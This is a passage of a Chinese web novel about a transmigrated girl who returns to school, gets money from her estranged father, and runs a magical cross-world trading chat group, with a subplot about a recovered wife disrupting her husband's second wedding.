路昭眨眨眼,她多年不上学,也没来过这个世界,根本对这里的开学时间一无所知。
老师见状,便道:“没事,学校里复读生也有不少。来学校后,就跟着原来的班级一起上。”
“哦,好的,谢谢老师。”
“你要是有困难,可以给老师说。我下午在学校,有什么不懂的,就来办公室问我。抓紧时间努把力,争取明年考出好成绩。”
“嗯,嗯,我知道了老师。我家里已经安排好了。”
“那就好,明天赶紧回校。”老师说完就离开了,路昭赶紧回到房间,想把课本找出来,结果找了半天,居然什么都没发现。
“不对啊!怎么没有课本呢?”
路昭住的是原身的房间,现在已经被她整理过,房间里放了书桌,衣柜和新床。非常简单明了。
不过之前,里面却堆了不少东西。
有好几个颜色发黑的木箱子,有不知道攒么多长时间的旧棉花。还有一框一框不知道干什么用的的泥巴碗。
箱子和棉花都被路昭扔掉了,只有那些泥巴碗她觉得挺有趣,把好的整理出来放回了厨房。
但不管是箱子还是旧棉花之类的,里面是绝对没有课本的。真要是有,路昭一看见,也不至于连自己需要上学这种事儿都没想起来。
“我的课本呢?都哪儿去了?怎么什么都没有?”
保姆是新来的,她们当然不知道东西在哪儿。
李翠萍听到路昭的话,知道在问自己,却说:“你不是能得很么?连自己的东西去哪儿了都不晓得,你问我,我问谁去?”
路昭手痒,觉得这人真的有一点欠揍。
“行,不知道算了。”路昭在沙发上坐下来,左思右想,想起家里之前还丢了一回东西。
“或许是被他们拿走的?不行,得去警察局问问,由家的事到底怎么样了。”都过去好些天了,怎么也得有些消息了吧?
但是一听路昭说要去找警察问由家的事,李翠萍却有了自己的看法。
“反正家里的东西
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都被你扔了那么多,他们拿走的那些,就算还在家里放着,估计也要被你扔掉了。他们既然喜欢,拿了就拿了吧,不用去找了。”
她倒是大方,至今不肯跟亲妈撕破脸。
路昭不满:“但是自己扔掉是自己的事,被偷到家里是被偷,性质可不一样。再说,能被他们翻箱倒柜拿走的,肯定都是好东西吧?”
那是当然的,可以说,抠抠搜搜的李翠萍就攒了那么点儿东西,全部都被拿走了。
见她不说话,路昭道:“你的东西你要不要回来我不管,但是我的课本有可能被他们偷走了,我是一定要找回来的。”
“课本,你就不能去学校找人借一借吗?”
“我又不是没课本,凭什么要找别人借?”
“反正就算现在去找,找回来也已经晚了。”
“那也要找。”路昭伸手:“你不想让我找也行,掏钱啊,我去买。”
李翠萍瞪大了眼睛,没想到路昭还得管她要钱的。
路昭也瞪大了眼睛:“不是吧?这家里就你一个成年人,你不掏钱,难道让我和妹妹吃空气长大?”
“但,但是……”
“哦,我懂了。你该不会是,觉得我有钱了,以后不仅不给我生活费,还准备让我负担家里的开销吧?李翠萍,你记不记得我今年几岁?”
李翠萍不服:“你这会儿知道自己是小孩子了?之前不是主意大得很?”
“那还不是因为你没用?”
“那行,那我现在也没用。”
“你说的!”路昭告诉王阿姨:“以后别煮她的饭,反正她又不掏钱。”
王阿姨赶紧打圆场:“嗨嗨,自己娘母家家的,有什么可吵的?有话好好说。”
“好好说,你看她像不像样?根本不把我当妈。”李翠萍终于抓到可以诉苦的了,开始和王阿姨宣扬起自己的命运多舛。
路昭叹一口气,不得不承认,就算把书找回来,也不知道什么时候去了。而且也不一定真的就是由家那帮人拿走的,干脆自己出门找书去。
她已经好多年没有上学过学了,得把全部的可成补回来,所以缺的是所有课本。
本来想着谁家有在上学的学生和用不上的课本可以接过来,但是她初来乍到,根本不认识同龄的学生,
所以想了想,还是先去书店看看比较合适。
到了书店,和工作人员说了自己的来意。
工作人员给她找到了初中的课本,知道她连小学的要,便让她等等,得去仓库找比较方便。
路昭便找了个地方坐下,随意翻看着手里的新书,结果刚没坐一会儿,就感觉有人站到了自己的面前。
抬起头,就看到了不就之前在医院见过的女人,和他身边正挽着的男人。
“这不是……小昭么?你也来买书啊?”
在医院里是趾高气昂的女人,这个时候却表现的非常和蔼可亲。
她笑吟吟地看着路昭,晃了晃身边男人的胳膊,说道:“老公你看,小昭还自己来买书,肯定学习很好吧?”
这时成年人身边穿着公主裙的女孩儿看了看他手里的课本,道:“这是初一的课本,你上初中了?我今年上高中了,那我是不是应该管你叫妹妹?”
路昭的年龄一看就和她差不多,她这会儿都上高中了,路昭却上初一的话,可不能说是学习好。
果然听了女孩儿的话,男人一下沉了脸,问她:“怎么回事?我记得你以前就上初中了,怎么又买初中的书?你妈是怎么管你的?”
哦!
原来这就是渣爹啊!
9. 第 9 章
第九章
路昭抬起头,看着男人的脸,湿漉漉的眼睛瞬间飙出眼泪来。
“爸爸你走了后,我妈就自杀了,外婆和舅舅们来家里,说是想照顾我妈妈,却把家里的东西全都偷走了。妹妹生了病没有人照顾,我,我没钱买药,想出来找个活儿……上学的事……”
路德荣大为震惊:“你找活?我之前不是给过你钱了?”
路昭委屈地说道:“我妈本来就在病房里抢救,你让这个阿姨拿着钱来往我们脸上扔。”路昭一指指着旁边的女人:“本来我妈还有救,一听到她的声音,被刺激的当场就吐血了。爸爸,她是故意的对不对?故意来刺激死我妈?那我和妹妹怎么办?妹妹才一岁,呜呜呜……”
“我没有,你胡说。”女人惊慌地否认。
路昭就问:“就是你,你把钱当着我外婆和舅舅的面摔倒地上的?”
女人张张嘴,无话可说。
路昭就哭着看向路德荣:“爸爸你知道的,那些钱全被外婆他们拿走了……”
“你……”
路德荣深吸一口气,当场骂了脏话。
由家那群人什么样子,他是再清楚不过了。
但这会儿由家人不在面前,他有气,也只能对着其他人。
于是女人就成了她的出气筒,被路德荣指着鼻子骂:“你是猪吗?这么点事都办不好?我说让司机去你自己偏说要去,看你办的什么事?”
路德荣典型的沙文老直男,对李翠萍早就嫌弃的要死了,但她离了他真的寻死,他就突然有了点怜悯之情。
至于孩子?女儿在他眼里可算不上什么正经孩子。但再不是正经孩子,也是他的种。他自己可以不当回事儿,却由不得别瞧不起。
气到头上,骂起人来完全不说给面子,指着女人的鼻子骂了个狗血淋头。
书店里有很多人,要么是带着孩子来买书的家长,要么是衣着讲究的年轻人。他们都看着这边,为了听八卦,连保持安静都没有来提醒。
女人当众被骂,十分丢脸。但不仅不敢发脾气,还得赶紧道歉:“我不知道她家是那种情况,只是一片好心办了坏事。老公,我再不敢了……”
路德荣终于冷哼一声,对路昭说:“走,现在回去。”
“还是算了吧爸爸,你不是……”路昭看看一旁泫然欲泣的女人,道:“不是要和这个阿姨结婚吗?听说他给我生了弟弟,你们婚礼和满月酒要一起办?那还是不要麻烦了,我不想妈妈看到你又伤心。”
“那,这……”
“她已经成那样了,我不想再有人去刺激她了。”
路德荣皱眉:“那现在怎么办?”
“你给我开个银行卡,每个月打钱就行了。爸爸,我想给妹妹找个保姆。妈妈在病床上动弹不得,我又要上学,老师今天来我家了,说我缺课这么长时间……”
“行,这就给你办。”路德荣想也没想就答应了。
让他回去承担责任他嫌烦,让他给钱却不是什么大问题。毕竟他这会儿别的不说,就是钱多。
于是路昭很快就得到了一张银行卡,以及一大笔钱。
拿着新掉落的资源,路昭看了一眼长发女人和她身边的漂亮女主角,开心地笑了。
回去的路上,她听到手机提示音,打开聊天群一看,果然发现了一条新信息。
匿名***:【你是谁?是人还是鬼?】
匿名网友,还是个新人。
路昭来了精神,回复了一句【看公告】,然后点开了对方的个人信息。
群主拥有审权限,即便对方匿名,也能看到对方的经历信息。
信息上说,此人姓苏名玮,是个将军。此时被敌军围困,正在等待救援。
但是援军毫无消息,不知道还能支撑多久。
如果路昭没有猜错的话,他想要的,大概是医疗或者粮食之类的物资。
粮食啊!
路昭摸了摸下巴,这个不用从商城兑换,我这里就能搞得到啊!
可惜的是……她这会儿不仅年纪小,还没钱!
对方没再说话,路昭也就没想这个了,刚讹到了一笔钱,也买好了课本,回家后就开始复习。
幸亏老师来家访的时候她找了个借口,说方便保姆给自己送饭,让老师留了学校的地址,要不然,她估计连学校在哪儿都找不到。
第二天专门睡了个懒觉,顺着路线走乘车走到了学校。
到了教室后,果然看到坐满的教室里只有一个空位了。
她朝着座位走过去,刚坐下,就听同桌问:“你怎么回来了?你不是说你不读了嘛?”
“啊!”路昭哪里知道原身和同桌说了什么,她只能顺着女孩儿的话给自己找借口:“我只是觉得,我还这么小,不上学,好像也不知道能干什么。”
“也是。”同桌是个圆脸胖女孩儿,一手支着胳膊,一手拿着笔在纸上写写画画,她叹口气,说道:“也好,现在胡奋那群人走了,再没人找你的麻烦。你也不用怕来学校了。”
路昭:“……”
“胡奋他们……”
“人家有钱,学习又好,听说直接被六中录取了。”
“六中啊,好厉害,我表姐十九中的,在学校年年考第一,但想进六中还是没能考进去。”前桌也听到了她们的话,回过头来小声说道:“听说六中每年学生都不招满,专门给那些条件好的开后门,不知道是不是真的。”
“什么后门?那叫自主招生,学校自己命题考试,试题特别难。”
“自主招生?什么时候?”
“那就不清楚了,好像就是这段时间?别告诉我你想去。”
以路昭的学习成绩,连高中都考不上,更别说考六中了。要知道,根据考过的人的说法,六中的自主招生,比中专还难。
路昭轻笑:“我就问问而已。”但心里,却已经决定一下课就直接去问老师。
*
江娴音小时候最喜欢的童话故事是灰姑娘。
乘坐南瓜车前往城堡参加宴会的灰姑娘,与王子一见钟情的灰姑娘,在午夜十二点穿着水晶被王子追逐的灰姑娘。
她常常穿着公主裙坐在木马上,假装它是自己的南瓜车。
十六岁那年,父亲送她一双水晶鞋
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,上面镶满了珍珠和宝石,她对它爱不释手,所以结婚的时候,她也穿着那双鞋牵起了丈夫的双手,成了他的新娘。
只是后来,水晶鞋被放在了柜子里再也没有拿出来过了。
原本她以为,自己这一生再也不可能穿上它,却没想到,自己还有穿上它的一天。
江娴音抻着双臂,颤颤巍巍地站起来。她甚至不敢呼吸,硬是在原地立了好一会儿才松开手。
没有双腿无力,没有突然摔倒,尽管小腿酸痛,但是很奇异地,她站稳了。
尝试着迈了一小步,腿部酸麻,但是很稳。
又一小步,依旧站稳了。
噙着满眼的泪水,女人走了一步又一步,终于坚信自己成功了,再也不会摔倒。
一股狂喜冲上心头,让她再也忍不住,开始嚎啕大哭。却又因为太过高兴,哭了不到两下,就又笑了起来。
脚下是一只没有停下的。
她像个刚刚学会走路的机器人一样,在房间里走了一圈又一圈,又哭又笑,像个疯鬼。
女佣们站在外面,根本不敢靠近。
等了好长时间,才终于等来了二小姐。
李陶顾不上其他,直接推门们进去:“妈咪,你怎……”
她话还没说完,就看到了房间里的母亲。
她没有躺着,没有摔倒在地。
就想很多年前一样,她自己站了起来,在屋子里走来走去。
这个巨大的惊喜让她一时间找不到自己的舌头,过了好一会儿才反应过来,激动地说道:“妈咪,你好了妈咪?”
“是的,我好了,我好了,唔,宝贝,主帮助了我。”
“天哪,天哪!”
李陶太过兴奋,眼泪都流出来了,简直不知道该说什么好。
她激动地拿出手机,想要立刻宣布这个好消息。然她的电话还没有拨出去,就被女人一把手拦住了。
“你要通知谁?”
“当,当然是想所有人宣布这个好消息!”
这当然是一个天大的好消息,至少对大对房事这样。
作为李家名正言顺的大太太,她拥有着聚堆权威的地位。
如果不是因为身体除了问题,后面根本不会有二房三房和四房——至少当初李仲亲口说娶二房的原因,是因为大太太身体不好不能管家。
那么,现在江娴音的身体好了,是不是代表着一切就可以拨乱反正了?
那些借着二太太的身份争夺财产股份和关注度的野种们,也是时候打回原因了。
李家,只是大方才能继承的李家。
所以对李济和李陶来说,母亲的恢复,却对是天大的好消息。
但是显然,江娴音本人,并不想马上公布这个喜讯。
她道:“不是说他们要举行婚礼吗?我回复健康这么大的好消息,当然要选择一个重要的场合宣布才合适对不对?”
李陶马上睁大了双眼:“是的,妈咪说的有道理。重大的消息,自然应该在正式的场合宣布才行。”
母女两瞬间达成一致,并决定婚当天,出其不意,给所有人一个惊喜。
10. 第 10 章
第十章
“将军,您怎么了将军?”
小六发现自家将军从刚才开始就一直在发呆,他心中十分担心,忍不住叫了他两声。
然而对方并没有回应他,只是一瞬不瞬地盯着窗前那个空了的花盆。
现在全军被困,突围无望,粮草也早在三天前消耗殆尽。
再这么下去,所有人都会死,要是在这个时候,身为主心骨的将军再出事,后果不堪设想。
小六不不敢耽搁,立刻去找卢先生禀告情况。
却不知道,他们的将军并不是因为被眼下的困局愁的得了失心疯——尽管,他自己也觉得自己可能得了失心疯。
若不是失心疯的话,他为什么会看到一个蓝色的方块出现在半空中?偏偏这个东西,其他人看不到,只有自己能看见。
苏玮觉得,自己不是疯了就是傻了,总而言之,不大正常。
之前叫了大夫为自己把脉,大夫只说他忧思过重,这才心智不稳,只需好生修养便能恢复。
可问题是,眼下的情况,又哪里来时间好生修养?就连说这话的大夫,也只是给了个结论,连副草药都开不出来。
整个苏家军,已然山穷水尽了。
人在绝望之下,总是会做一些平常不会去做的傻事。
所以苏玮在无视那个怪异的绿格子两天后,终于忍不住尝试着碰了一下。
然后发现自己的声音可以钻进去,还自动变成了文字,出现在一个小框框里。
那一瞬间,苏玮吓得站起来。
他心里十万八千个想法,一会儿觉得自己遇到了神仙,一会儿又觉得自己死期将至,怕是见了鬼。
但不论如何,问题已经发出去了,他不晓得怎么撤回,只能静静等待,是福是祸,好像都差不多。
就在他等的抓心挠肝,焦急无比的时候,一个名叫‘小助理’的东西回答了他的问题。
小助理:【这里是无限红包交易群,不是神也不是鬼。】
苏玮一愣,马上追问:“红包交易群?那是个什么东西?怎么交易,可能赊账?”
话刚说完,语音直接转文字,相出现在对话框。
路昭看着这人的问题,无奈打下一行字:【不讲价,不赊账。】
匿名***:【你们是商铺?为何找上我?想要从我身上得到什么?如实招来!】
小助手:【进群请看群公告,进群请修改昵称,否则随时踢人。】
苏玮一愣,他明白踢人的意思,但不觉得被踢一下有什么了不起。
不过公告几个字他还是能看懂的,于是顺着上方的文字仔细辨认,终于看懂了上面的文字。
得到想要的一切?
是那个意思吗?
苏玮拍拍脸,他觉得自己是真的疯了。
正好卢先生进来,看见他正在疯狂拍脸,赶紧劝道:“将军,将军,您这是在做什么?”
“先生,先生,快给我两拳,我猜我这是疯了。”
“将军何出此言?”卢先生以为他是被逼得开始发颠,正想设法劝慰,就听他道:“在我眼前,有一个商铺铺面,上面说是可以得到我所想要的任何东西,只要能付出代价。然而你们所有人都看不见,你说我这不是发疯了是什么?”
卢先生哑然,一时间也不知道该说什么。
苏玮焦急道:“先生,你快说句话呀先生。”
先生觉得,自家将军大约是真的疯了。
但对待疯子,是不能硬着来的,于是想了想,便道:“既然上面说了,可以得到任何想要的东西,不如趁机商讨一番,试探是真是假?”
“这……”
“左右你我都在此处,便是骗子,又能如何?”
“你说的有道理!”
苏玮一拍拳头,镇定下来:“是真是假,试探一番便晓得了。”然后清了清嗓子,对着半空放话:【我要两万石粮食,五百匹战马,两千车草药,你待如何?】
果然要粮食。
但是他一个走入绝境的军队首领,他能交换出什么?
鹿加操纵小助手再次提醒:【再次提醒,进群请修改昵称,否则随时清除账号。】
苏玮看了看自己说话前面的匿名,知道是在说自己,便皱着眉头,道:“本将行不改名坐不改姓,苏玮是也。昵称就叫苏将军。”
语音自动转换文字,然后他就看见自己发出去的话前面,变成了:就叫苏将军。
就叫苏将军:【说交易,我要两万石粮食,五百匹战马,两千车草药,你拿得出来?】
小助手:【这里有你想要的一切,只要你付得起代价。请问就叫苏将军,你有什么东西,值得这两万石粮食,五百匹战马
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和两千车草药?】
苏玮:……
就叫苏将军:【我乃林州苏氏后人,我祖……】
小助手:【所有交易,皆需出于交易者本人。他人之物,不可用以交易。家世祖荫皆为废物,群主不收废料。】
苏玮极为自己家世祖先而骄傲,若是从前有人说他祖宗家业皆为废料,他必定要与其单挑。
然而此时此刻,他却只是红了脸,一句话也说不出来。
毕竟人在困境,什么家世祖业,也当真派不上用场了。
卢先生见他呐呐不语,询问发生何事。苏玮只好把看到的话说了,便听卢先生道:“所需交易,必要出于本人之身?我为将军幕僚,忠心耿耿。将军若拿我交换,我心甘情愿。”
“这如何使得?”苏玮当即反驳。
卢先生眨了眨眼睛,提醒他:“是否能成,不问一问怎么知道?”原来是要他试探。
苏玮明白了,然后照着他的意思说了,很快便告诉他:“小助手说不行。”
“那便只能是你本人所有物呢?”
上上下下看了看,此时的苏玮身上,就只有一把宝剑一枚玉佩。
玉是好玉,剑也是好剑。但用它们,显然换不回两万石粮食出来。
“是否奏效,试试何妨?”
卢先生示意,让他问这两样东西能换多少东西。
路昭看了看那个玉佩和剑,用系统估了下价格,才道:【能换精粮五百斤,或者劣马一匹,或者外伤药十盒,三选一。】
就叫苏将军:【粮食,我选粮食。】
小助手:【装红包,发过来。】
苏玮看到了下面的红包图案,点开后,里面是一张白纸。他照着之前的样子,念了玉佩和配剑的材质和名字,看着它们转化成文字。然后红包合上,跳出发送按钮。他又说了一声发送,红包瞬间出现在聊天框里。
苏玮一点儿都不紧张,因为他的玉佩和配剑都还在手里,并没有因为一行文字而改变什么。
然而,就在他觉得连这都相信,并且真心期待眼前一切是真的的自己是真的发疯了的时候,玉佩和配剑消失了。
几十个装得鼓鼓囊囊的麻袋从天而降,嘭一下砸在了房间里。
苏玮傻眼。
正思考要怎么为自家将军治疯病的卢先生咽了咽口水,软了双腿。
11. 第 11 章
第十一章
“天命,天命!”因为太过震惊,而瘫倒在地的男人,只嘴上重复着天命两个字,根本说不出其他的话。
苏玮比他还震惊:“你,你也能看见了?我没疯?”
“没疯,将军您当然没有疯!”卢先生咚一下跳起来,跺着脚哈哈大笑:“苍天开眼,天不亡我啊!天不亡我!”
说着伸手去摸那些麻袋,满满当当的,全都是舂好的精米。
“到底是上天赐物,如此,如此奢华。”那些米粒,颗颗饱满,莹润洁白,普通富户,甚至豪富之家怕是见也没见过。
那些面粉,更是纯净无暇,细白如雪,全然不含任何麸皮与杂质。
当真精粮。
“如此,如此我们算是有救了!”苏玮到底年少,虽跟随父兄征战多年,但独当一面,却是头一遭。
而如今的苏家,早就如风雨般飘摇。
他的父亲刀伤未愈,已然卸甲在家。
长兄雄姿英发,却于半月前死于长野。
没有人知道他是怎么死的,更没有人知道长野究竟发生何事。
正当他想要等这一场仗打完,便往长野带回兄长的灵柩,却因背叛被困于此长达两月。
苏家,将亡于此了。
这个想法无比强烈地出现在脑海,他本已写好遗言,准备趁着城破之时令亲兵出逃,回去将侄子侄女们藏起来。
却不料峰回路转,竟让他得遇如此奇遇。
上天果然待他不薄。
“来人,传令下去,就说援军已到,已然送了粮食进来。将这些粮食分发下去,叫兄弟们生火造饭,吃饱了好砍敌人的脑袋!”
守在外面的亲兵闻言进来,震惊地看着屋里的粮食,惊喜无比。
马上又叫来几人,欢呼吆喝着,抬了粮食去煮饭。
待人都走了,卢先生这才道:“这小小五百斤粮食,是绝不够将士们果腹的,为今之计,便是再做几笔交易。”
“可这商铺说了,只能我本人所有之物,才能用作交易。”
“这有何难?”卢先生将自己的玉佩拿出来抖了抖:“老夫将此物赠送与你,它不就是你的东西了?”
苏玮:“……”有道理啊!
但这么一枚玉佩,显然换不到多少粮食。
他们还需要战马,还需要草药,还需要皮甲,还需要兵器……
“这可如何是好啊!”
明明知道好东西就在眼前,偏偏买不来,这可着实让人为难。
“再想想再想想,必有可行之法!”卢先生脑袋一拍,挥手吩咐:“来人,把城内所有富户全都找来,就说我们将军找到了大粮商,正需要钱财!”
如今的暨城是一座死城,所有人都被困在这里,只等着城破身死。
往常紧紧抱着的金银钱财,不能吃不能喝,全都成了没用的东西,让他们拿来换成粮食,那必然是举双手赞成。
所以很快,路昭这边就收到了一大摞铜钱银块做交易的红包申请。
然而……
小助理:【经评估,您所提供的物资能够交易精粮两百斤,草药半车。是否交易?】
苏玮震惊,怎么这么点儿?
就叫苏将军:【不可能,我这可是十万贯钱。】
小助手:【您所提供的物资价值低劣,不足以交易您所需之物。】
就叫苏将军:【奸商,奸商!】
路昭挑了挑眉,换上自己的马甲。
六芒星@就叫苏将军:【你和它争吵没用,小助手只是个程序助手,只按照规则提供服务。】
就叫苏将军:【……】
他震惊了,虽然一直看到群里还有几个人,但是他一直没有看其他人说话,以为没人呢。
现在突然有人跳出来,他才终于想起来,哦,这里还有其他人呢。
就叫苏将军:【你是……】
六芒星:【和你一样,我也是普通群成员。】
路昭圈了一下代号+,告诉他:【@代号+这个才是群主,不过祂很少出现,平时都是小助手在帮忙处理□□易。】
苏玮盯着那个群主头衔看了看,终于深吸一口气,问六芒星:【所以你刚才说争吵没用是什么意思?就只能看着这个小助手坑蒙拐骗,为所欲为吗?这儿的主人什么时候出现?我们应当揭发。】
六芒星:【小助手没有坑蒙拐骗,这位……苏将军是吧?你理解错了。我不知道你提供的物资,是什么货币,但你们那个世界使用的货币,在别的世界并不见得能通行。懂我的意思吗?比如青铜钱币或者银锭之类,在你们的世界里,或许非常值钱,但是对其他世界来说,毫无意义。所以你如果提供了铜币作为物资想要进行交易的话,在这里,铜币的价值,就只算铜这种材料本身的价值,并不会算上它的货币价值。】
就叫苏将军:【所以你的意思是,我的钱,不值钱?】
六芒星:【那要看你所提供的物资,转换后能有多少价值。】
就叫苏将军:【那什么东西值钱?】
六芒星:【就货币来说,黄金是通用货币,不论在哪个世界,价值都比较平稳。】
苏玮松了一口气,好了,至少金子用得上。
气刚松完,就见六芒星又道:【但在这里,真正值钱的永远不是货币,而是才华,技艺,生命力,这种无法用金钱衡量的东西。不过我奉劝你,不要轻易用生命用作交易。】
就叫苏将军:【懂了,金子是吧?我这就去筹!】
就叫苏将军:【多谢你!】
苏玮回过头,把聊天群里的消息全部复述给卢先生,然后道:【所以铺子只收金子,铜钱价贱。】
卢先生捋着胡子沉吟:“果真非现世之物,若是老夫也能加入……”
“要不我问问?”
卢先生眼睛一亮:“可!”
苏玮马上输入自己的问题,然后就得到了一个长长的沉默。
过了好一会儿,才见小助手说:【群中成员,全部都是收到了群主的邀请才能进来。其他人没有群主邀请,不会成为群成员。】
就叫苏将军:【那这群主何时邀请他人,对受邀者有何要求?】
小助手:【无可奉告。】
话多的年轻将军终于不再追问了。
路昭叹气,她还以为所有
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进群的人都会像自己这样偷偷摸摸,绝对不会向任何人暴露呢。没想到来了个大方的,不仅大咧咧把自己的异样展示出来,还想拉人进群,可真是……
算了,这回大概赚不到什么好东西了。路昭只是暗暗希望,这人千万别再给自己搞一堆破铜烂铁。
那可就太要命了。
合上手机,路昭继续听老师讲课。
而在几千里之外的新港,一场热闹非凡的婚礼,正在如火如荼地进行。
李仲和不是第一次结婚了,他上一次举行婚礼,还是在三十年之前。
当然,这期间他当过不少次新郎,都是穿着新衣,在女方家里办酒席,但正儿八经以李家家主的身份办婚宴,是没有的。
如果不是时间紧迫,他也不舍得打破自己经营多年的痴情人设在这个时候结婚。
毕竟妻子还健在,他总要做一下表面功夫。
但没办法,新港的归属权很快就要更换了。他倒是希望一切能够保持原样,他还是继续做他的大鹰良民。
可问题是,大陆那边态度强硬啊!
老伙计们分析来分析去,都觉得最后是大陆赢。
毕竟新港和大陆连着,并不像牛岛一样是个孤岛,大鹰在牛岛之战的胜利,并不足以影响亚太地区的战局。
不论如何,还是做两手准备吧!
他是真心实意觉得自己痴情——二太太是国人,早年跟着退败的国民残部退出来的。虽然在身份上有些妨碍,但就立场来说,还是更认大陆不认大鹰的。
大太太江娴音就不同了。
别看她起了个江姓,其实和国人没什么关系。
她祖祖辈辈都是葡国人,只因为祖辈娶过本地姨太太,这才混了点血。
但她不论是身份认同还是血脉归属,都天然站着葡国的立场。
这怎么行?
李家若只是小门小户普通人家,倒是无所谓。
但李家不是,这继承人的身份,就很是要被拿来考量一番了。
他不觉得大陆那群土包子,会不在这种事情上面做文章。
火急火燎地把二房抬起来,也是让他们看看自己的态度。
当然,如果最后大陆输了,赢的是大鹰,那就更好了。大房的地位绝对坚固不动摇。
身着新郎服的男人满面红光,带着二房所生的几个孩子亲自招待今天的贵客们。
招呼了客人们之后,音乐响起。宣誓时间到了,按照婚礼流程,新娘要出场,牵着新郎的手一起在神父面前宣誓相守一生。
这是一个非常浪漫的桥段,根据正常顺序,宣誓过后,他们还要在来宾的调侃之下分享两人的相恋过程等等。
在场所有人都嘻嘻哈哈,恭喜新郎娇妻入怀。
然而,就在花童捧着戒指正要送到两人手中的时候,紧闭着的大门嘭一下被人从外面打开了。
“听说我丈夫今日成婚?”那女人穿着一身白色的礼服,脖子上带着碧绿的宝石项链。
她的脚下踩着一双华丽丽,镶满了宝石的水晶鞋,气势汹汹地走了进来。
“这么大喜的日子,少了我这个正房夫人怎么行?”
12. 第 12 章
第十二章
结婚当天,老婆跑来搅局,这都什么事儿啊!
当然,关于李家的家情况,在场众人大都心中有数。
对于在妻子尚且健在的情况下给二房扶正,这也是大家心照不宣的事情。
没办法,谁叫大太太身体不好,早就不在公开场合露面了呢。
别看现在的新港名义上是什么现代社会自由世界,其实也和换了身衣服的大蜻没什么两样。
不能管家的正室必须得把位置让出来,总不能让男人家里乱七八糟没人管家不是?
但大房如果出现了,情况就又不一样了。
李仲和震惊地看着朝自己走来,看上去还神采奕奕的妻子,半晌说不出话。
“哟,这后面的装扮是怎么回事?先生娶个姨太太,不管从什么时候来说,也不该这个规格。亲爱的,你娶姨太太却不提前通知我,总要给我个说法吧?”
哪里有什么说法?
他又不是娶新姨太太,而是和原来就娶进门了的二太太结婚。
可是看着在场表情严肃的港督,还有一旁挑着眉看着自己的葡国大使,李仲和哪里敢不服软?
他干笑一声,说到:“亲爱的安妮,你身体好了?这太好了。看到你能站起来,我实在是太高兴了。”
“主保佑了我,给了我健康的身体。”江娴音冷哼一声,看着身着婚纱的秋叶白,说道:“据我所知,你们华国人不信主的吧?如此还要穿着婚纱,请神父祝福,是否有亵渎我主的嫌疑?我主可不赞同情人和妻子身份混淆这种事。”
秋叶白抿着唇没说话。
李仲和赶紧把人挤到一边,安抚江娴音:“误会误会,只有你才是我永远的妻子。今天的仪式,只是为了弥补曾经遗漏了的酒宴而已,没有什么特别的含义。”
“没有什么特别的含义?”
“没有,绝对没有。”李仲和说着,回头看向秋叶白。
秋叶白扯着嘴唇笑了笑,深吸一口气,说道:“是的,没有什么特别的含义。”
如果没有这场婚礼,一切对秋叶白没有任何影响。偏偏婚礼举行到了一半,被大太太打断了。丈夫也没有站在她的一边给个说法,反而还要她低头,她的脸都要丢尽了。
今天之后,不知道会有多少人笑话。
秋叶白牙都快咬烂了,但还是笑盈盈地忍了下来。
没关系,被羞辱一下也不是什么大不了的事。她还可以借此要求李仲和补偿自己。
真正重要的是,江娴音为什么会站起来?
要知道,她可是瘫痪十几年了。
十几年来,从新港到米国到大鹰,请了多少名医去了多少医院,都无济于事。
而现在,她居然好了,还不像是勉力坚持。看上去,分明是如此灵活健康,就好像,只是一个没有生过任何疾病的普通中年女人一样。
是什么把她变成了这样?秋叶白的所有注意力,都被江娴音的身体吸引过去了。
她有预感,这将是一个绝对让人震惊的大秘密。
秋叶白的出神被看成是被当众羞辱的难堪。
没有人想要打扰她,只有几个好友一脸心疼地将她扶了下去回到房间里安慰。
而这场原本热闹的婚礼,因江娴音这个正房太太的突然回归,却彻底成了一场闹剧。
对八卦消息最为敏锐的新港记者们闻风而动,又一场饕餮盛宴开始了。
*
路昭多年不上学,可不代表她是个学渣。
更不用说她现在要回顾的还只是小学和初中的课程,这些东西她只需要一晚上,就能补回来。
倒是高中的自主招生考试,她从来没有参加过,所以在跟老师询问了六中的自主招生考试情况后,就开始琢磨,这所谓的自主招生考试的难度,到底有多高。
“这个我帮不了你,因为他们每年的招生考试范围都不一样,命题也没有统一,看往年的试卷,看不出什么效果。”
“那我就只能硬考了!”
老师叹一口气,劝她说:“你有这个心,老师是很鼓励的,但是以你的成绩……还是好好复习,等明年中考完看成绩。”
就算是在自己原来的班级里,这个学生的成绩也只处于中下游,想要去考六中,说是异想天开也不为过。
她觉得路昭有点儿好高骛远了。
路昭笑道:“没事,反正也花不了多少时间,我就试试而已。”
“也行,反正试试也没关系。”老师说完,拿了以她资料给她,说道:“这些试卷,都是给之前高三的尖子生做的加试题,你要是想要考六中,可以试着做一做。”
“谢谢老师。”路昭接过试卷,就直接请假了。
她先去了六中招生办,询问了关于自主招生考试的流程和时间,又要了别的学生的考试试卷。
出来后她走错了路,居然没有找到回去的公交车站。
无奈之下,只能一边问路一边找,找着找着,就不知道把自己找哪里去了。
正当她泄气地准备等一辆出租车的时候,就看到一群小屁孩儿在追狗。
那狗一身的棕黄色短毛,十分干瘦难看,大概刚生完小狗,肚子下面吊着两排臌胀的乳/头,正一边逃跑,一边凶狠地冲着追她的人狂叫。
眼看他们要向自己的方向跑过来,路昭正想躲一下,就看到其中一个小屁孩手里捏着只小奶狗嘭地往地上一摔。
路昭脚也没动了,那狗也更疯了,再不逃跑,反而回去追着对方咬。
路人也被男孩的行为吓了一大跳,骂道:“混小子你是不是有病?摔狗崽子做什么?”
“它咬人,把我妹妹咬了!”
“狗咬了你打狗,摔狗崽子做什么?找死?”
一个老太太哎哟哎哟地走过去,把那奶狗拿起来看了看:“哎哟,这不成了,鼻子里都流血了,恐怕脑子裂开了。”
“你们那儿的?家里大人呢?”
“哼,要被你管!”说着哗啦一声跑开了,哪够也追着跑走了。
路昭凑到老太太跟前,看了眼那只被摔死的小奶狗,很小,两只手就能捧起来,估计才满月没多久,还长着一身的奶膘。
“作孽哟,这些混小子,成天不干人事儿到处惹事生非。”
老太太谈干完,找了张报纸把小狗一包,扔垃圾桶就走了。
路昭鬼使神差地,又顺着路往面前走了一小会儿。
她本想看看那只母狗有没有报到仇,却没想到有人在卖狗。
那是一个很瘦的男生,穿着一身黑黢黢的衣服,像一根细长的电线杆。
他头发很长,刘海放下来,把半
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张脸都罩住了,只能看见青紫的下巴,还有吊着石膏的手。
他脚边放着三只小奶狗,全都一样大,两只黑黢黢,一只麻糊糊,很没有卖相的土狗。
见路昭盯着小狗看,男生便问道:“你要养狗吗?”
“多少钱一只?”路昭问。
男生大概也是头一回卖狗,不知道行情,沉默好半天才道:“你看着给。”
路昭自己也不知道行情,便没有说话,先蹲下来摸摸狗,看看是不是健康。
